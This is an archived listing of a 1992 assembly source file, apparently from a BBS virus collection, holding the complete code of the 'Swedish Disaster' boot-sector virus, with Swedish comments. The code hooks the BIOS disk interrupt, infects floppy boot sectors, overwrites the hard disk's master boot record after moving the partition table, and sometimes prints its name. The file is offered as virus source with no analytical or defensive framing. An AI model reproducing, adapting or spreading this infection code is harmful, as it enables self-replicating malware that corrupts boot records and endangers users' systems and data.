home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / sd-swe.asm < prev    next >
Assembly Source File  |  1992-11-13  |  7KB  |  261 lines

  1.  
  2. ; Senast ändrad 891213.
  3. ;
  4. ; Lägger gamla bootsectorn på sida 1, spår 0, sector 3.
  5. ;                             sida 0, spår 0, sector 7 på HD.
  6.  
  7.  
  8. Code    Segment
  9.         Assume  cs:Code
  10.         Org     0000h
  11.  
  12. Main    Proc    Far
  13.         db      0EAh,05h,00h,0C0h,07h
  14.  
  15.         jmp     Near Ptr Init           ; Hoppa förbi variabler och nya int13h
  16.  
  17.  
  18. ; Variabler
  19.  
  20. Old13h  dd      0                       ; Gamla vectorn till diskfunktionerna.
  21.  
  22. TmpVec  dd      0                       ; Temporär vec. vid ändring av int 13.
  23.  
  24. BootPek dw      0003h,0100h
  25.  
  26. ; Slut på variabler
  27.  
  28.  
  29.  
  30. Int13h  Proc    Near
  31.         push    ds
  32.         push    ax
  33.         push    bx
  34.  
  35.         cmp     dl,00h                  ; Drive A
  36.         jne     Exit
  37.  
  38.         cmp     ah,02h
  39.         jb      Exit
  40.         cmp     ah,04h
  41.         ja      Exit                    ; Kolla så att func. 2-4
  42.  
  43.         sub     ax,ax
  44.         mov     ds,ax
  45.         mov     bx,043Fh                ; Motor status byte.
  46.         test    Byte Ptr [bx],01h       ; Testa om motorn i A: är på..
  47.         jnz     Exit                    ; Nej,hoppa till gamla int 13h
  48.  
  49.         call    Smitta
  50.  
  51. Exit:   pop     bx
  52.         pop     ax
  53.         pop     ds
  54.         jmp     [Old13h]
  55.  
  56.  
  57. Smitta  Proc    Near
  58.         push    cx
  59.         push    dx
  60.         push    si
  61.         push    di
  62.         push    es
  63.  
  64.         push    cs
  65.         pop     es
  66.         push    cs
  67.         pop     ds
  68.  
  69.         mov     si,0004h                ; Max antal försök.
  70.  
  71. Retry:  mov     ax,0201h                ; Läs en sector
  72.         mov     bx,0200h                ; Läs hit.
  73.         mov     cx,0001h                ; Spår 0 Sector 1
  74.         sub     dx,dx                   ; Sida 0 Drive 0
  75.         pushf
  76.         call    [Old13h]                ; Läs in booten.
  77.  
  78.         jnc     OK
  79.  
  80.         dec     si
  81.         jz      Slut                    ; Hoppa ur om fel.
  82.         jmp     Retry                   ; Försök max 4 gånger.
  83.  
  84.  
  85. OK:     mov     si,0200h
  86.         sub     di,di
  87.         cld
  88.         lodsw
  89.         cmp     ax,[di]
  90.         jne     L2
  91.         lodsw
  92.         cmp     ax,[di+2]
  93.         jne     L2
  94.         jmp     Slut
  95.  
  96. L2:     mov     ax,0301h                ; Skriv en sector.
  97.         mov     bx,0200h
  98.         mov     cx,0003h                ; Spår 0 Sector 3
  99.         mov     dx,0100h                ; Sida 1 Drive 0
  100.         pushf
  101.         call    [Old13h]                ; Flytta boot sectorn.
  102.  
  103.         mov     ax,0301h
  104.         sub     bx,bx
  105.         mov     cx,0001h
  106.         sub     dx,dx
  107.         pushf
  108.         call    [Old13h]                ; Skriv ner viruset till booten.
  109.  
  110. Slut:   pop     es
  111.         pop     di
  112.         pop     si
  113.         pop     dx
  114.         pop     cx
  115.         ret
  116. Smitta  Endp
  117. Int13h  Endp
  118.  
  119. Init:   sub     ax,ax
  120.         mov     ds,ax                   ; Nollar ds för att ändra vect.
  121.  
  122.         cli
  123.         mov     ss,ax
  124.         mov     sp,7C00h
  125.         sti                             ; Sätter upp en ny stack.
  126.  
  127.         push    cs
  128.         pop     es
  129.         mov     di,Offset Old13h
  130.         mov     si,004Ch
  131.         mov     cx,0004h
  132.         cld
  133.         rep     movsb                   ; Flytta int 13h vectorn.
  134.  
  135.         mov     bx,0413h
  136.         mov     ax,[bx]                 ; Minnesstorleken till ax.
  137.         dec     ax
  138.         dec     ax
  139.         mov     [bx],ax                 ; Reservera plats för viruset.
  140.  
  141.         mov     cl,06h
  142.         shl     ax,cl
  143.         mov     es,ax                   ; Omvandla till segment addres.
  144.  
  145.         mov     Word Ptr TmpVec,Offset Int13h
  146.         mov     Word Ptr TmpVec+2,es
  147.         push    es
  148.         sub     ax,ax
  149.         mov     es,ax
  150.         push    cs
  151.         pop     ds
  152.         mov     si,Offset TmpVec
  153.         mov     di,004Ch
  154.         mov     cx,0004h
  155.         rep     movsb
  156.         pop     es
  157.  
  158.         sub     si,si
  159.         mov     di,si
  160.         mov     cx,0200h                ; Hela viruset + lite till.
  161.         rep     movsb
  162.  
  163.         mov     ax,Offset Here
  164.         push    es
  165.         push    ax
  166.         ret                             ; Hoppa till viruset.
  167.  
  168. Here:   sub     ax,ax
  169.         int     13h                     ; Återställ driven
  170.  
  171.         sub     ax,ax
  172.         mov     es,ax
  173.         mov     ax,0201h                ; Läs en sector funk.
  174.         mov     bx,7C00h                ; Hit laddas booten normalt.
  175.         mov     cx,BootPek
  176.         mov     dx,BootPek+2
  177.         int     13h
  178.  
  179.         push    cs
  180.         pop     es
  181.         mov     ax,0201h
  182.         mov     bx,0200h
  183.         mov     cx,0001h
  184.         mov     dx,0080h
  185.         int     13h                     ; Läs in partions tabellen.
  186.         jc      Over
  187.         push    cs
  188.         pop     ds
  189.         mov     si,0200h
  190.         sub     di,di
  191.         lodsw
  192.         cmp     ax,[di]                 ; Kolla om den är smittad.
  193.         jne     HdInf
  194.         lodsw
  195.         cmp     ax,[di+2]
  196.         jne     HdInf
  197.  
  198. Over:   mov     BootPek,0003h
  199.         mov     BootPek+2,0100h
  200.         sub     bx,bx
  201.         push    bx
  202.         mov     bx,7C00h
  203.         push    bx
  204.         ret                             ; Kör den gamla booten.
  205.  
  206. HdInf:  mov     BootPek,0007h
  207.         mov     BootPek+2,0080h
  208.  
  209.         mov     ax,0301h
  210.         mov     bx,0200h
  211.         mov     cx,0007h
  212.         mov     dx,0080h
  213.         int     13h                     ; Flytta orgin. part.tabellen.
  214.         jc      Over
  215.  
  216.         push    cs
  217.         pop     ds
  218.         push    cs
  219.         pop     es
  220.         mov     si,03BEh
  221.         mov     di,01BEh
  222.         mov     cx,0042h
  223.         cld
  224.         rep     movsb                   ; Kopiera part. data till viruset.
  225.  
  226.         mov     ax,0301h
  227.         sub     bx,bx
  228.         mov     cx,0001h
  229.         mov     dx,0080h
  230.         int     13h                     ; Skriv viruset till part. tabellen.
  231.  
  232.  
  233.         sub     ax,ax
  234.         mov     es,ax                   ; Kolla om msg:et ska skrivas ut.
  235.         test    Byte Ptr es:[046Ch],07h
  236.         jnz     HdInf1
  237.  
  238.         mov     si,Offset Txt           ; Detta utförs bara om man bootar från
  239.         cld                             ; diskett.
  240. Foo1:   lodsb
  241.         cmp     al,00h
  242.         je      HdInf1
  243.         mov     ah,0Eh
  244.         sub     bx,bx
  245.         int     10h
  246.         jmp     Foo1
  247.  
  248. HdInf1: jmp     Over
  249.  
  250.  
  251. Slutet  Label   Byte                    ; Används för att veta var slutet är.
  252.  
  253.  
  254. Txt     db      07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h
  255.  
  256.  
  257. Main    Endp
  258. Code    Ends
  259.         End
  260.  
  261.